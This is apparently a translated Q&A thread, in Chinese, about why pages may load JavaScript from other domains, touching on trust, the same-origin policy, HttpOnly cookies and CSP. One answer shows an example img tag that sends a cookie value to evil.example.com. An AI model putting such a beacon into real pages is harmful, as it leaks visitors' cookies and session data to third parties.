Javascript 为什么我们可以链接到另一个域上的js文件?

Javascript 为什么我们可以链接到另一个域上的js文件?,javascript,javascript-security,Javascript,Javascript Security,为什么当我们从y.com(例如google analytics或jquery)链接到x.com上的javascript文件时,它不会导致任何跨域安全问题 例如: 在y.com/index.html中,我们有: <script type="text/javascript" src="http://x.com/jsfile.js" /> 我们怎么知道什么时候可以这样做,什么时候不可以呢?它有可能成为一个主要的安全漏洞,因此您必须信任承载JavaScript文件的站点 例如,该代码可

为什么当我们从y.com(例如google analytics或jquery)链接到x.com上的javascript文件时,它不会导致任何跨域安全问题

例如:

在y.com/index.html中,我们有:

<script type="text/javascript" src="http://x.com/jsfile.js" />


我们怎么知道什么时候可以这样做,什么时候不可以呢?

它有可能成为一个主要的安全漏洞,因此您必须信任承载JavaScript文件的站点

例如,该代码可以将更多的脚本标记和img标记插入到您的站点中,从而将敏感数据转发给第三方

大卫关于同一原产地政策的评论可能会产生误导。将数据中继到远程站点的经典方法是将img标记插入远程域:

<img src="http://evil.example.com/sendcookieshere.whatever?cookievalue=secret_info />

如果远程主机上的JavaScript代码被更改为动态注入这样的img标记,那么您的站点可能存在安全漏洞。对于其中的一些问题,例如使用仅HTTP的cookie,这些cookie无法通过JavaScript访问,因此有一些缓解措施

分析系统就是一个很好的例子。您必须相信提供商不会将任何敏感数据(如您自己的cookie)发送到远程位置。您还需要相信提供商,他们的系统是安全的,黑客不能更改他们服务器上的JavaScript文件。分析系统通常通过使用这些相同的技术来工作,但希望他们使用这些技术是好事而不是坏事。从某种意义上讲,这与担心开发人员是否编写了良好、安全的代码以及他们是否引入了秘密后门没有什么不同


至于为什么允许它,这只是历史。网络的设计根本没有考虑到安全性。无论是CSRF攻击、重播攻击还是XSS攻击,这些都是web设计中的基本缺陷,现在已成为web开发人员关注的问题。

数据来自何处无关紧要,重要的是它的使用范围

您只是从另一个域获取脚本,它仍然在您自己页面的范围内运行,因此它无法访问加载它的域中的资源

在存在跨域问题的情况下,例如包含来自不同域的页面的iframe,您有两个不同的作用域。iframe中的页面在加载它的域的范围内运行,因此它可以访问该域中的资源,但是它不能访问承载iframe的页面中的任何内容,因为这是一个不同的范围


(注意:我不知道术语“范围”是否常用于此上下文,可能有一个术语可以更好地描述它。)

我不知道为什么我们可以这样做。但您可以使用内容安全策略(CSP)来防止这种情况发生,CSP是由web应用程序发送的HTTP头,它声明除了您明确允许的域之外,不应加载JavaScript


确实可以通过解析JavaScript中的头来提取仅HTTP的cookie,对吗?@alex-我不确定这一点。JavaScript还可以做其他更邪恶的事情,比如通过将事件处理程序附加到输入标记上,然后将文本发送到远程服务器,从而窃取密码。